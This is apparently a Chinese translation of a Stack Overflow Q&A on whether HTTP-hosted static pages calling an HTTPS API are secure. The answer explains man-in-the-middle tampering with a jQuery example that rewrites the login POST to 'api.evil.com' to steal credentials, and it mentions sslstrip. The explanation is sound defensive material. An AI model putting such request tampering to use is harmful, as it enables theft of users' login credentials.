Ajax HTTPS 但静态内容托管在 HTTP 上

标签 ajax security http ssl amazon-web-services

如果我在 http://domain.com 和来自 https://api.domain.com 的相关数据中有一个完全静态的前端和 AJAX,将它们之间传输的所有数据都是安全的(好像都使用 https)?

此模型是否存在潜在缺陷?

我问的原因是因为这样我就可以使用像 Amazon S3 这样的服务来托管我的静态网页,并且只需为我的 API 上的证书付费。

最佳答案

除了此模型仅导致部分加密页面因此无法在地址栏中向用户显示挂锁和 https 之外,他们无法(正确地)验证您的网站是正品,也可能是MITM对您的 HTTP 内容执行攻击并将进一步的通信重定向到攻击者。

例如通过 HTTP 加载的 AJAX 代码可能如下所示:

$.ajax({
    type: 'POST',
    url: 'https://api.domain.com/LogIn',

如果攻击者拦截了你的服务器对受害者的响应并修改为

$.ajax({
    type: 'POST',
    url: 'http://api.evil.com/LogIn',

用户的凭据将被发送给攻击者而不是您的网站,如果您的攻击者之后将它们转发到您的网站,受害者将不知道他们的详细信息已被盗。

sslstrip 等工具可以使攻击者很容易实现这一目标(假设他们处于适当的位置,这是所有 MITM 攻击的要求)。

关于Ajax HTTPS 但静态内容托管在 HTTP 上,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22705130/

相关文章:

javascript - 跨域ajax请求基本认证

javascript - 部分数据从 jquery 中的 xml 填充到表中

security - 注册页面可以针对哪些攻击

ruby - Golang HTTP 服务器超时

jquery - 如何在订单中执行ajax成功回调?

php - jQuery Ajax 第二次提交发送两次,第三次提交发送三次

ios - 防止非Apple用户访问当前正在开发的应用程序上的基本应用程序信息/开发者信息

objective-c - 在 Objective-C 中安全地生成随机数

node.js - 在流式 HTTP 客户端之间共享 DEFLATE 压缩的数据 block

spring - 如何在 Spring Security 中允许单个 URL